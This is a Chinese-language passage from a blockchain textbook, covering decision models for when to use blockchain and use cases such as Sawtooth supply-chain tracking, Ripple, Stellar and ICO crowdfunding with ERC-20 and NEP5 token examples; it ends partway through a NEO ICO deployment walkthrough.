尽管区块链不允许修改数据,但可以通过创建新的交易来更新以前存储的数据。重要的是要注意,交易在区块链网络中不会快速处理,建议在交易被包含在区块中后甚至等待一定数量的区块确认。如果特定的数据项需要经常更新,那么在所有相关交易被处理之前需要花费相当长的时间。许多节点甚至可能拒绝引用其他未确认交易的交易。因此,建议将这些数据存储和处理在链下。

集中式与分散式应用架构

我们通过分析其特性比较了 DLT 和数据库。 但在实施之前分析应用程序架构也很重要。 我们将描述集中式和分散式应用程序的架构,以便更清楚地了解组件及其相互通信的方式。

在使用基本集中式服务器架构的应用程序中,所有涉及的组件只有一个单一实例。 图 11.4显示了 Web 服务器应用程序的架构图。 用户可以通过 Web 应用程序提供的用户界面与 Web 服务器通信。 Web 应用程序是使用脚本语言(如 JavaScript)和标记语言(如 HTML)的组合进行编程的。 一个简单的 Web 应用程序将有一个托管应用程序的 Web 服务器。 但是,Web 服务器可以与数据库、文件或应用程序所需的任何其他服务器进行交互。 由于集中式服务器具有单个物理地址,它们会映射到域地址。 用户可以访问域名系统DNS)服务器以查找 Web 服务器的物理地址,然后使用应用程序协议(如 HTTP)进行通信。

在集中式架构中,任何数量的组件可以独立运作并在需要时相互通信。 一个典型的 Web 应用程序将具有数据库、存储和 Web 服务器作为它们的组件,如图 11.4所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.4:集中式应用程序的架构图

分散式应用将与执行类似功能的节点网络通信。 使用分散式应用程序的客户端可以与网络中的任何节点通信以执行任何操作。 与集中式服务器不同,分散式架构不使用 DNS 服务器,因为不存在单个服务器。

图 11.5展示了区块链网络中的一个节点。 用户直接与此节点通信以使用应用程序的任何功能。 正如我们在几个区块链平台中看到的那样,每个节点都会暴露一个端口以使用远程过程调用RPC)协议进行通信。 如果客户端希望使用 Web 应用程序进行通信,JavaScript 库可以用于建立 RPC 连接。 一些区块链平台提供桥梁以便与分散网络通信。 MetaMask 是以太坊中使用的桥接应用程序。

在一个集中式应用架构的图表中可以看到,基础设施设计是灵活的,因为一个单一实体负责维护基础设施。在分散式架构中,当涉及到设计时,节点没有太多的灵活性。一个纯分散式架构不会与任何其他集中式组件集成,因为这会违反分散化模型。一个需要集成多个组件的应用将形成一个复杂的架构,并且这样的架构不受分散式网络的欢迎:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.5:分散式应用架构图

正如我们在图 11.5中所看到的,客户端将直接与分散式网络进行通信,而没有中间人。但有一些用例将需要集中式可信实体与分散式网络集成,在其中功能由智能合约定义。可以通过在中间件中部署可信实体来创建混合架构,如图 11.6所示。

中间件通常用作客户端和区块链网络之间的中介。它可以是一个能够与区块链节点通信并在需要时创建和转发交易的网络服务器。中间件基本上是一个提供可信数据给区块链的可信实体。以太坊平台利用称为预言机的特殊可信实体。这些预言机可以向区块链节点中的合约提供可信的外部信息。

当区块链单独不合适时,企业通常会实现混合架构:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.6:带有中间件的分散式应用架构图

区块链的特性

到目前为止,我们已经讨论了一些区块链的特性,同时将分布式分类账技术与数据库进行比较。但由于其分散化的特性,区块链具有一些固有属性,这些属性将极大地有利于某些用例,而对其他用例则不增加价值。在本节中,我们将讨论这些属性,以便您能够正确评估区块链是否适用于您自己的用例。

不可变性

区块链是一种分类账,不允许您更新或删除现有记录。在区块链上记录的数据应该永远保留。这使得区块链成为一种不可变的数据结构。与传统的记录技术不同,一旦记录包含在区块链中,就无法擦除记录。更新记录的唯一方法是创建一个新记录,它将撤消以前记录的影响。在区块链中,更新操作是昂贵的,因为每次记录插入都会消耗时间和费用。

不可变性是区块链的关键特征之一,因此所选用例能否利用区块链的不可变性是至关重要的。

不可否认性

存储在区块链中的每笔交易均由签署交易的实体创建。一旦添加到区块链中,就不可能删除交易,这是由于区块链的不可变性。因此,签署交易的实体无法否认交易的存在。在集中式系统中由于其可变性可以观察到否认,但在分散式系统中是非常不可能的。

安全性

分散化的主要优势之一是增强的安全性。我们已经讨论了区块链技术在 第十章 中提供的安全级别,区块链安全。区块链网络的分散化将使系统对许多可以针对集中系统执行的传统攻击具有抵抗力。

使用区块链实施的任何用例都不必担心系统受到许多传统攻击的保护。

冗余

所有区块链记录都复制到网络的所有节点上,实现了高度的分散化。网络实现的冗余确保了它是一个容错系统。然而,冗余将在网络中引入延迟,这对性能产生负面影响。在实施任何用例之前,考虑容错和性能之间的权衡是非常重要的。

降低成本

在分散网络中创建应用程序的一个吸引人的特点是消除了管理组织、创建和维护基础设施所涉及的成本。在没有单一实体承担功能成本的用例中实施是理想的。分散自治组织DAOs)是一个没有实体负责承担费用的用例。

透明度

存储在区块链中的每笔交易均需由网络中的每个节点进行验证。验证过程要求区块链中存储的所有交易的透明性。在实施用例时,决定要包含在区块链中的数据至关重要。保密性是高优先级的应用程序对于公共区块链来说并不是一个好的用例。

区块链的决策模型

基于对区块链技术及其对现实问题的影响的深入理解,许多研究人员提出了几种决策模型,这些决策模型将有助于快速评估任何用例中区块链的适用性。这些决策模型考虑了区块链的所有基本原则,并决定用例是否适合在基于区块链的生态系统中实施。

卡尔·沃斯特和阿瑟·杰尔韦伊

计算机科学研究人员卡尔·吴斯特(Karl Wüst)和亚瑟·格尔韦(Arthur Gervais)在文章《你需要区块链吗?》中提出了一个决策模型,该文章发表在 IACR Cryptology(eprint.iacr.org/2017/375)。该模型帮助在系统中存在相互不信任的实体时决定是否需要使用许可和无许可的区块链。

图 11.7 描述了区块链决策模型的流程图,该模型根据使用情况确定区块链的适用性,并帮助确定区块链的类型。它建议,如果使用情况满足以下所有条件,则区块链是一个解决方案:

  • 它需要存储状态

  • 存在多个写入者

  • 没有在线可信第三方TTP

  • 所有写入者都是不受信任的

它进一步建议,如果所有写入者都是未知的,则使用无许可的区块链,并在其他情况下建议使用许可的区块链。如果交易由所有人验证,则许可的区块链将是公共的;否则,区块链可以在私有网络中维护:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.7:区块链决策模型的流程图(来源:https://eprint.iacr.org)

他们还列出了区块链和数据库的不同属性以进行比较。 表 11.1 显示了无许可区块链、许可区块链和可信数据库的若干属性:

无许可区块链许可区块链中央数据库
吞吐量非常高
延迟中等
读者数量
写入者数量
不信任写入者数量0
共识机制主要是 PoW,一些 PoSBFT 协议(如 PBFT)
中央管理

表 11.1:比较不同类型区块链和中央数据库的属性

Birch-Brown-Parulava 模型

大卫·伯奇(David Birch)、理查德·布朗(Richard Brown)和萨洛梅·帕鲁拉瓦(Salome Parulava)在文章《面向金融服务的环境问责:共享分类帐、半透明交易和大规模金融危机的技术遗产》中提出了一个评估模型,该文章发表在《支付策略与系统杂志》上。该论文提出了一个模型来探索在金融服务中应用共享分类帐的可能性。他们还设想了一个具有半透明交易的金融市场。

图 11.8 展示了所提出的决策模型,该模型评估了区块链在金融服务中的应用。根据分配给分类帐用户的权限,确定要使用的区块链类型。它们还根据用户对共享分类帐功能的影响程度进行了更细粒度的分类:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.8:金融服务的决策模型(来源:Birch-Brown-Parulava 模型)

评估区块链适用性的框架

一些研究人员,包括罗新光、许希伟、詹英佳和陆清华,在一篇题为 评估应用区块链适用性 的论文中创建了一个评估框架。该框架考虑了区块链的许多特性,以评估它是否符合用例的要求。

提出的框架由七个问题组成,在评估用例之前需要回答,如 图 11.9 所示。该框架建议在满足以下条件时使用区块链:

  • 场景需要多个实体。

  • 操作不是集中化的。

  • 需要保证交易历史的完整性。

  • 性能不是首要考虑因素。

  • 没有可信的第三方参与。

  • 数据透明度是期望的。

  • 插入的数据不应该是可修改的(immutable)。

该框架进一步评估了是否可以使用替代解决方案保留一些区块链的特性。如 图 11.9 所示的框架进一步评估了是否应该将受信任的权威去中心化,如果不需要透明度,数据是否可以受到保护,以及可修改和大批量数据是否可以在链外维护。与其他决策模型相比,该框架在评估用例的要求时不那么严格:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.9:评估框架(来源:评估应用区块链适用性)

该框架在论文中评估了一些工业用例。在框架中执行每个用例的需求后,得出的结论是供应链和身份管理相关的应用可以轻松适应区块链。另一方面,诸如电子健康记录和股票市场等信息敏感型用例不适合在区块链中实施,因为区块链网络的透明度和吞吐量低。在下一章中,我们将分析几个用例,在评估它们的适用性后。

通用的决策模型

我们已经看到了区块链研究人员提出的几种决策模型。虽然所有这些模型都可以用来评估用例的需求,但是没有一个普遍认可的条件列表来决定何时使用传统技术,何时使用区块链。基于前面提到的决策模型以及前一节讨论的区块链的所有特性,区块链的特性,我们创建了一个通用的决策模型,如 图 11.10 所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.10:通用决策模型的流程图

在决定区块链适用于用例之前,图 11.10 所描述的决策模型考虑了区块链的所有特性。与之前的决策模型类似,它需要同意以下条件:

  • 没有信任方参与

  • 期望交易数据的不可变性

  • 场景不需要高性能

  • 交易数据不是机密的,或者可以通过加密来保护

  • 有多个写入者

  • 数据可以在网络上共享和复制

如果所有条件都满足,使用区块链技术来实现用例是合适的。还需要确定区块链的类型,以便为实施选择合适的区块链平台。决策模型建议基于写入实体的性质选择无许可或有许可的区块链,如图 11.10所示。如果数据可以被网络中的每个人共享和验证,则还建议使用公共区块链网络,否则使用私有区块链,如果有共享数据的限制。

我们将在下一章中使用决策模型评估、分析和选择各种用例的适当区块链平台。

概要

本章提供了在决定是否开发分布式应用程序时使用的策略的见解。通过比较分布式数据库和基于区块链的分布式账本,探讨了区块链的属性。深入探讨了集中式和分布式应用程序架构,以解释何时区块链架构增加价值。我们还探讨了几种区块链架构的关键属性,以便读者了解区块链的本质。最后,我们探讨了一些决策模型,评估了区块链是否适用于某些已探索的用例。

现在我们能够借助决策模型区分区块链和非区块链用例,我们将继续讨论几个金融和非金融区块链用例,指出当前实施中的问题,并证明区块链技术提供的解决方案。

第十二章:区块链使用案例

现在我们已经深入探讨了区块链适用性框架,正如在上一章中所见,我们现在已经具备了区分区块链和非区块链使用案例所需的信息。在本章中,我们将专注于定义更广泛的区块链使用案例,这将有助于我们激励我们为这些使用案例创建实现。

本章将涵盖以下主题:

  • 溯源跟踪

  • 支付系统

  • 众筹

  • 去中心化自治组织

区块链技术实现的去中心化可以为我们提供许多现有集中式系统中存在的问题的解决方案。尽管区块链可以为我们现有的集中式系统中面临的许多问题提供解决方案,但它也有自己的一套限制。在前一章中,我们遇到了几个评估框架,这些框架帮助我们选择了真正的区块链使用案例。在本章中,我们将分析评估框架选择的使用案例,以便我们可以通过分析这些案例来证明其使用去中心化架构的实施。

最明显的区块链使用案例涉及多个实体的参与,没有信任的权威进行集中操作;相反,这些操作是分散的。由于实施此类使用案例的明显优势,有几个使用案例立即符合实施的条件。我们在审查实施这些案例的可行性后,缩小了使用案例的范围,以提供解决现实世界问题的解决方案。

追踪供应链中的溯源

供应链是一个涉及到创建产品并将其分配给消费者的实体的系统。这个供应链通常涉及到供应商、制造商、批发商、零售商和消费者,在这个过程中产品按照图 12.1 所示的方向移动。参与供应链的角色通常分布在多个地点,这可能会使得跟踪供应链中的货物变得具有挑战性:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12.1:典型供应链的流程图

由于在生产和分销过程中涉及多个实体,每个成品都沿着供应链移动。但由于供应链的复杂性,很难追踪溯源。大多数现有的溯源跟踪是在信任的第三方的帮助下进行的,因为供应链中涉及的实体之间都不相互信任。在这些实体之间使用区块链作为共享账本可以为我们提供一种有效的方法来跟踪供应链中任何产品的溯源。它允许系统中不信任的实体相信溯源数据,而不允许单个实体拥有和维护它。

供应链中的痛点

在产品最终被最终用户消费之前,市场上的每个产品都必须经过多个实体。然而,由于缺乏有效的追踪溯源机制,供应链一直存在一些关注。这些关注可以归纳为以下几个例子:

  • 最终用户常常被误导,不清楚产品的来源,在许多情况下,会被提供次优产品欺骗。供应链中的任何实体也可能故意或无意地伪造产品的任何信息。

  • 较低端的供应链实体,如供应商和制造商,受到大型零售商的剥削。

  • 现有流程使供应链不透明,其实体无法分析供需数据。

这些要点总结了典型供应链中所面临的主要问题,即没有有效机制来跟踪产品所有权。这强调了追踪产品的公平方式的必要性,这正是区块链承诺提供引人注目解决方案的地方。

区块链作为解决方案

我们已经在第七章中遇到了所有权证明的概念,即深入区块链 - 所有权证明。作为提醒,所有权证明使用数字身份和数字资产来跟踪任何资产的溯源,使用公共分类账。类似地,供应链中的每个实体将拥有可以在任何时刻拥有资产的数字身份。使用区块链进行溯源跟踪的复杂解决方案将具有以下阶段:

  1. 供应链实体在溯源跟踪系统中注册为参与者

  2. 初始供应商(通常为原材料供应商)将创建具有唯一身份的数字资产

  3. 然后,资产被转移到下一个供应商或制造商,无论是物理上还是数字上

  4. 制造商将使用相同的产品身份,以及每个转换产品的标签,以便可以追溯到来源

  5. 最后,零售商在接收资产后可以将产品转移给消费者

当使用区块链和数字资产以及身份来实施供应链的溯源跟踪时,供应链可以从区块链中看到的许多特性中受益。供应链流程需要以下功能:

  • 多个实体可以执行读写操作。

  • 希望每一次交易的透明度,以便每个实体都了解整个供应链的供需信息。

  • 交易历史需要完整性和不可变性,以便可以追溯到其来源的产品。不可变性确保没有参与者或潜在攻击者能够修改溯源数据。

  • 不需要高交易速度,因为供应链信息不需要实时数据。

供应链的期望特性表明,这个用例适合使用区块链来实现,因为它满足了上一章讨论的区块链决策模型的所有要求。

区块链实现的供应链

供应链中的溯源追踪可以通过使用许多现有的区块链平台来实现,包括我们已经讨论过的一些平台,如以太坊、NEO 或 MultiChain。然而,一个名为Hyperledger Sawtooth的特定项目已经被许多供应链用例中的企业广泛采用。

Hyperledger Sawtooth 是 Hyperledger 伞形项目下针对开源区块链项目的一个项目。Sawtooth 项目最初由英特尔贡献,它允许共识算法被插入核心软件中。Sawtooth 区块链支持受权限控制和无权限控制的实现。

Hyperledger Sawtooth 具有模块化体系结构,允许其组件被轻松操纵。与其他区块链平台相比,它提供了可扩展的解决方案,具有高交易吞吐量。Sawtooth 网络主要由两种类型的参与者组成:客户端验证者。客户端将交易发送到区块链网络,而验证者则确保它们被验证并包含在区块链中。验证者遵循共识机制,并维护分类账的全局状态。Sawtooth 验证者根据交易处理器中指定的业务逻辑对每笔交易进行验证。交易处理器是使用 Sawtooth 平台创建的任何分布式应用程序的核心,它通过状态和交易逻辑描述应用程序。因此,客户端创建的每笔交易都将使用交易处理器进行验证。

为了展示供应链实现,我们将使用一个名为Sawtooth Supply Chain的应用,该应用是构建在 Hyperledger Sawtooth 之上的。此应用程序旨在允许用户跟踪供应链中的货物,从而使他们能够跟踪货物的所有权和其他属性,如温度、重量和位置。

所有 Sawtooth Supply Chain 的参与者和组件都可以在图 12.2中看到。客户端将通过由验证者节点提供的Representational State TransferREST)网络接口与区块链进行通信。供应链应用的交易处理器,它位于每个验证者节点中,将处理不同类型的交易,如创建、转移和接受新的资产记录:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12.2:Hyperledger Sawtooth Supply Chain 的架构图

注意:Sawtooth 供应链可以从 GitHub 存储库下载:github.com/hyperledger/sawtooth-supply-chain

该应用程序具有几个不同的组件,并且可以通过在每个组件上运行容器来使用docker-compose执行。 一旦代码已被克隆,并且docker-compose已设置,容器可以使用docker-compose启动:

$ docker-compose up 

值得注意的是,docker-compose将花费几分钟来设置所有容器。 一旦一切都设置好,将创建 Sawtooth 供应链的以下必要组件:

  • Sawtooth 区块链和供应链的 REST API 端点

  • 供应链事务处理器

  • Sawtooth 节点所需的数据库(RethinkDB

  • 用于与区块链交互的客户端应用程序

所有这些组件都将作为独立服务在每个 Sawtooth 节点上运行。 Sawtooth 供应链将创建一个客户端应用程序,其中供应链的每个实体都可以注册和管理资产。 Sawtooth 供应链然后在本地端口8021上启动名为AssetTrack的客户端应用程序。 一旦它们在应用程序中注册为代理,这些实体将成为供应链的一部分。 然后会为每个实体生成公钥和私钥对,并且可以通过其公钥识别实体。

已登录的实体可以添加具有一组属性的资产并提交交易。 只有给定资产的现有所有者才能使用不同的属性更新资产并将其转移到不同的所有者。 供应链中的每个实体也能够查看所有资产和代理,但只有资产的所有者才能将资产移动到不同的实体,从而确保了每个资产的可追溯性。

与此同时,Sawtooth 供应链还通过 Docker 容器提供了 shell 访问权限,我们可以使用该容器运行任意脚本,这些脚本将自动更新供应链数据。 可以使用以下 Docker 命令登录 shell:

$ docker exec -it a supply-shell bash 

一旦我们登录到 shell,可以在使用以下命令导航到server文件夹后执行更新一些示例资产的脚本:

$ npm run update-sample-assets 

此示例实现将帮助您了解通过在供应链中包含多个实体来跟踪出处。

有关 Sawtooth 供应链交易系列的更多详细信息,请参阅官方文档:sawtooth.hyperledger.org/docs/supply-chain/

金融系统

金融一直是区块链的最大用例之一,可以追溯到比特币的发明。 乍一看,区块链似乎是许多影响全球经济的实施方案的最佳选择,无论是银行业、股票交易所还是支付网络。 然而,在过去,由于世界各地不同金融系统的各种解决方案以及它们之间的障碍,甚至在全球经济中,金融系统都曾被中央当局操纵过; 这涉及到很多复杂性。

银行系统是世界上最大的金融机构。 这些银行系统在每个国家都有不同的监管,这导致了在跨境金融服务方面出现障碍。 如图 12.3所示,在两个位于不同地区的用户之间进行银行交易,由不同的当局监管,每个地区都有一个相应的银行帮助沿边界安全地进行通信和结算交易:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12.3:跨境交易的流程图

如今,银行机构允许用户使用不同的支付系统在线执行资金转账。 大多数国家支持实时毛额结算RTGS)支付系统,以便实时结算银行之间的交易。 还有许多其他支付系统支持国内银行之间的互联交易,收取少量费用; 例如,印度有全国电子基金转账NEFT)、即时支付服务IMPS)和统一支付接口UPI)作为其支付系统。 但是,当必须在不同国家的银行之间执行交易时,银行会使用安全系统(如SWIFTFedwire)进行电汇。 尽管这些支付网络的功能如预期那样运作,但在全球范围内实施时存在一些限制。

由于创建支付系统涉及到的所有复杂性,需要一个单一的系统,可以适应创建高效的支付网络。 区块链技术可以帮助我们消除金融机构之间的障碍,让无需信任的实体有效地进行通信。 当比特币创建时,它的目的是提供一个可以跨越国界使用的支付网络,因为它无法被任何单一实体所规管。

支付系统中的痛点

银行系统使用的复杂支付系统在与系统中的不同实体合作时具有一系列限制。 在以下列表中,您将了解现有支付系统的一些限制:

  • 由于每日交易限额,不适合进行大额资金转移。

  • 您经常会遇到高额的交易费用。

  • 银行间交易结算速度较慢。尽管当前支付系统可以为国内银行提供快速交易结算,跨境交易仍然非常缓慢。

  • 你可能发现一些支付系统仅在银行的工作时间内运作。

  • 由于所有支付系统仍然是集中化的,它们容易出现错误和遭受攻击。

尽管银行交易可以以电子方式执行,值得记住的是,并非所有机构都有能力处理数字交易,对于一些机构来说,使用实体货币进一步复杂化了金融系统。制作一种无法伪造的实体货币成本高昂,还存在诸如难以验证货币原始性的问题。所有这些复杂性导致了腐败的金融系统。

区块链作为解决方案

区块链是比特币的产物,旨在用点对点电子现金取代当前的支付系统。即便如此,自比特币和区块链的发展以来,这项技术已经远远不仅仅是一种备用支付系统。区块链的性质为解决支付系统和其他金融系统的问题提供了很多空间。一个高效的支付系统需要具备以下特性:

  • 交易的实时结算

  • 国内和国际交易低费用

  • 转账金额没有限制

  • 安全的通信和记录保存机制

借助去中心化网络的帮助,区块链可用于构建一个去除支付系统中介的系统,从而实现快速和廉价的解决方案。然而,由于流动性可以立即转移到收款方,对交易金额没有限制。同样,区块链的共识机制在本质上保护了不可变的分类账。

我们讨论的支付系统案例满足了区块链决策模型,因为它需要大多数区块链的特性。然而,保密性可能成为区块链实施的问题,因为交易信息在公共区块链中是透明的。但你会发现,大多数支付系统的区块链实施都涉及银行和其他金融机构作为最终用户,而不是银行账户持有人自己。因此,它提供了进行私人交易并向第三方观察者隐藏私人细节的方法。即使直接在最终用户之间执行支付交易的支付系统也可以利用匿名交易以保护隐私,就像第八章中讨论的那样,区块链项目

区块链实施的支付系统

正如我们将要讨论的那样,有几种正在尝试利用区块链技术提供比现有金融系统更好的解决方案的实施。Ripple 和 Stellar 是两个提供网络的平台,充当参与者之间的桥梁,并帮助消除任何其他中介的需求。银行之间建立的网络充当跨境支付系统,甚至在没有太多延迟的情况下进行货币兑换。现在让我们更深入地了解 Ripple 和 Stellar。

Ripple

Ripple 是一个基于分布式账本的网络,允许传输一种名为 XRP 的数字资产。Ripple 的愿景和目标是构建一个面向金融机构(如银行)的加密货币,能够以低成本实现跨境资金转移。

与其他加密货币不同,Ripple 不会创建并行支付系统。相反,它提供了一个名为RippleNet的网络,用于现有支付系统的全球结算。Ripple 目前提供了三种不同类型的支付解决方案:

  • xCurrent:这是一种用于银行之间跨境支付的软件解决方案,具有端到端跟踪功能;交易在几秒钟内安全地结算。

  • xVia:这允许用户通过 RippleNet 使用支付提供商发送国际资金。它提供了一组 API,用户可以直接使用这些 API 全球发送支付。

  • xRapid:这使用 Ripple 的数字资产 XRP 作为跨境支付的流动性。它使用交易所在 XRP 和本地货币之间转换资金。交易所中 XRP 的数量越多,系统运行得越好。它还消除了银行在全球拥有本地货币预付账户的需求。

可以在 ripple.com/use-cases 找到使用 Ripple 的支付提供商的一些用例。

Stellar

Stellar 是一个开源平台,支持通过两种货币之间的价值交换实现跨境交易。它旨在通过更可靠、更便宜的系统连接银行、支付系统和最终用户。

Stellar 网络是一个由称为Stellar Cores的分布式节点组成的集合,使用Stellar 共识协议SCP)运作。任何支付应用程序都可以构建在 Stellar 网络之上。Stellar 提供了一个名为Horizon的 HTTP API 与网络通信。要构建一个能够在两种货币之间进行转换的支付网络,需要一个能够帮助进行交换的支付架构。该架构包括称为锚点的受信任实体,它们将在 Stellar 网络中为每笔存款创建信用。金融机构(如银行)通常是支付系统中的锚点。为了发送和接收支付,Stellar 需要联邦和合规服务器,以及一个桥接服务器来协调这些服务器。

关于 Stellar 网络的更多详细信息可以在www.stellar.org/developers/guides/get-started/index.html找到。

Stellar 提供了几种支付解决方案,包括更快的微支付和低成本汇款。 有关 Stellar 的一个很棒的事情是,它已经被应用在一些现实世界的用例中,并且最近与包括 IBM、Deloitte、SureRemit 和 KlickEx 在内的几家公司合作,以进行跨境交易并解决汇款挑战。

您可以在www.stellar.org/how-it-works/use-cases找到有关 Stellar 用例的更多详细信息。

众筹

众筹是从大众中筹集少量资金以支持特定事业的一种方式。 众筹经常用于您需要为初创创意创建初始资金的情况,通常是那些处于发展初期的创意。 近年来,众筹通过从多个参与者获取资金并消除银行和风险投资者等实体的方式改变了筹集资本的方式。

众筹可以为任何类型的倡议组织,包括慈善事业、艺术和社区项目。 根据组织的意图,可以使用各种类型的众筹,例如以下类型:

  • 基于回报的,其中众筹活动的支持者将获得商品或产品本身的提前访问作为回报。 Kickstarter 和 Indiegogo 等在线平台提供基于回报的众筹。

  • 基于股权的,其中对众筹的贡献者根据其贡献的金额获得公司股权。

  • 基于债务的类似于向银行借钱,但是公众借出的是钱,而不是集中银行。 出借人将因投资而获得利息,类似于传统银行系统中的贷款。 利率对借款人和出借人都是公平的。

  • 基于捐赠的:经常被慈善组织、开源项目或任何其他非营利组织使用,以筹集不同的原因资金。

所有提到的众筹类型至少有三个参与者:发起者、平台提供者和支持者,如下图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12.4:众筹中的参与者

成功的众筹将确保众筹活动在平台上以有效的方式进行宣传。 众筹平台应确保资金操作对众筹发起者和支持者都是无缝的。 区块链技术允许在去中心化网络中轻松创建和转移代币,无需任何中介来维护众筹平台。 众筹发起者将启动代币分发过程,称为首次代币发行ICO)。 支持者将资助 ICO,随后将获得他们所贡献金额的代币。 这些代币在 ICO 阶段将具有价值,而在 ICO 之后,它们的价值可能会有所不同。 这些代币有时甚至可以代表提供代币的组织的股权。

众筹中的痛点

与传统融资相比,众筹具有许多优点,例如它提供了让任何人轻松创建或资助项目的机会。 话虽如此,它确实有局限性:

  • 众筹仍然需要为大部分的资金过程(如果涉及奖励、股权或债务)之间的发起者和贡献者创建协议。

  • 一些众筹格式没有为支持者提供灵活的投资选项,这导致参与度不高。

  • 项目的支持者需要相信他们将在资助项目后获得他们的股权或奖励,因此他们需要相信众筹平台和项目。

  • 大多数众筹将由遵循捐赠模式的非营利组织发起。 使用此方法时,当使用此模型时,支持者数量往往有限,并且通常情况下,组织往往未能达到其目标。

区块链作为解决方案

区块链通过创建 ICO 在去中心化网络中提供代币分发机制。 执行 ICO 比任何其他形式的众筹要简单得多。 典型的 ICO 将涉及以下阶段:

  1. 寻求筹款的项目将通过指定 ICO 结构(例如初始代币价值、总代币限制、代币销售期等)来启动 ICO。

  2. 一旦代币销售开始,支持者可以通过使用法定货币或现有加密货币资助项目来投资该项目。 支持者将获得与投资金额相当的代币。

  3. 与其他众筹解决方案类似,如果 ICO 未达到目标,该活动被视为失败,资金将退还给投资者。

  4. 一次成功的 ICO 可以利用资金执行项目的路线图。

ICO 经常与首次公开发行IPO)进行比较,私人组织向公众提供股份。 但是,有几个特点将 ICO 与 IPO 区分开来,如下所述:

  • 大多数国家的政府对 ICO 并没有严格的监管。尽管这使得发起 ICO 更容易,但也鼓励了欺诈性的众筹。

  • 由于 ICO 中的代币分配是去中心化的,没有单一方管理资金运作,不像 IPO。

  • 与首次公开募股(IPO)相比,发行初始代币(ICO)更便宜且更容易。

  • ICO 是由初创组织进行的,而 IPO 通常由成熟的私人组织进行。

IPO 是由希望通过向公众投资者提供股票来筹集资本的私人公司提供的。由于 IPO 涉及的程序复杂且冗长,公司寻求投资银行的帮助来协助进行流程。

使用 ICO 进行众筹的区块链实施

ICO 是在去中心化网络中创建的,其目标是分发代币以筹集给定项目的资金。由于代币分配是在去中心化网络中执行的,ICO 的整个逻辑都写入了智能合约中。然后,这些合约部署在区块链网络中,并由区块链节点在执行任何 ICO 操作时执行。

ICO 主要在现有的区块链网络上启动,例如以太坊、NEO、Wanchain 和 Waves。以太坊和 NEO 都广泛用于开发和部署智能合约,目的是创建代币并启动 ICO。这两个平台都提出了标准,以编程智能合约来实施在 ICO 期间分配的代币。

以太坊拥有 ERC-20、ERC-223 和 ERC-721 代币标准。ERC-20 是用于创建可替换代币的代币标准,是 ICO 中使用最广泛的代币。在以下代码块中,我们可以查看一个显示 ERC-20 智能合约接口的代码片段:

contract ERC20Interface { 
  function totalSupply() public constant returns (uint); 
  function balanceOf(address tokenOwner) public constant returns 
 (uint balance); 
  function allowance(address tokenOwner, address spender) public 
 constant returns (uint remaining); 
  function transfer(address to, uint tokens) public returns 
 (bool success); 
  function approve(address spender, uint tokens) public returns 
 (bool success); 
  function transferFrom(address from, address to, uint tokens) 
 public returns (bool success); 

  event Transfer(address indexed from, address indexed to, 
 uint tokens); 
  event Approval(address indexed tokenOwner, address indexed 
 spender, uint tokens); 
} 

以太坊改进提案EIP)20 中提议的 ERC-20 规范摘要可以在github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md找到。

ERC-223 代币标准旨在提供更好的安全性并减少交易中的 GAS 使用。ERC-20 和 ERC-223 代币都是可替换代币,这意味着每个代币与其他代币相同。ERC-721 代币标准旨在提供不可替代的代币,其中每个创建的代币都是唯一的。

尽管 ERC-721 代币在典型的 ICO 中不常用,但它们在几个去中心化应用中越来越受欢迎。像 CryptoKitties 使用的可收藏加密资产就使用了 ERC-721 代币。

NEO 平台还提供了一个称为 NEP5 的代币标准。这些是可替换代币,该平台允许使用相同标准的每个代币与其他代币交易。NEP5 代币实现了以下方法:

name() returns string; 

symbol() returns string; 

decimals() returns byte; 

totalSupply() returns BigInteger; 

balanceOf(byte[] account) returns BigInteger; 

transfer(byte[] from, byte[] to, BigInteger amount) returns bool; 

NEP5 规范中使用的方法摘要可以在 github.com/neo-project/proposals/blob/master/nep-5.mediawiki 找到。

为了更深入地了解 ICO 实现,我们将部署一个 ICO 模板,创建一个实现所有众筹功能的代币。由于我们已经熟悉了 NEO 智能合约的部署,让我们将基于 NEP5 代币的 ICO 模板部署到 NEO 区块链上。

NEX 开发的用 Python 编程的 ICO 模板,可以在github.com/neonexchange/neo-ico-template找到。

首先,我们必须确保 neo-python 配置为 Python 3.6。参考第七章,深入区块链-所有权的证明,了解如何使用 neo-python 配置 NEO 区块链节点。同样,我们必须确保已设置私有区块链,如第七章,深入区块链-所有权的证明中所述。下一步是启动 NEO shell 以连接到此私有区块链,可以通过执行以下命令完成:

$ np-prompt -p [private-network-node]

打开预装有 NEO 和 GAS 的示例钱包:

open wallet neo-privnet.sample.wallet

一旦从 github.com/neonexchange/neo-ico-template 克隆了 ICO 模板,我们就可以开始构建并部署 ICO 智能合约;我们需要了解智能合约的一些配置。

一组配置可以在 nex/token.py 文件中找到。与代币和 ICO 销售相关的配置包括代币名称、符号、代币所有者、总供应量、所有者的初始数量、每个 NEO 的代币数以及每个 GAS 的代币数。

ICO 智能合约中有一些方法只能由所有者执行,如 图 12.5 所示的序列图所示。因此,在nex/token.py文件中提供所有者信息(TOKEN_OWNER)是必要的:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12.5:ICO 活动的序列图

一旦智能合约配置完成,就需要构建并部署到 NEO 区块链上:

build ico_template.py test 0710 05 True False name [] 

import contract ico_template.avm 0710 05 True False 

在部署过程中提供所有详细信息后,NEO shell 输出合约的哈希。这里,0xce4a9966dfd3c7c02b48646a6aac281e4c914c2d是智能合约的地址。此地址可用于使用testinvoke命令执行任何 ICO 操作,如下所示:

Please fill out the following contract details: 
[Contract Name] > Packt ICO 
[Contract Version] > 1.0.0 
[Contract Author] > Alice 
[Contract Email] > alice@packtcoin.com 
[Contract Description] > Basic ICO contract 
Creating smart contract.... 
                 Name: Packt ICO 
                 Version: 1.0.0 
                 Author: Alice 
                 Email: alice@packtcoin.com 
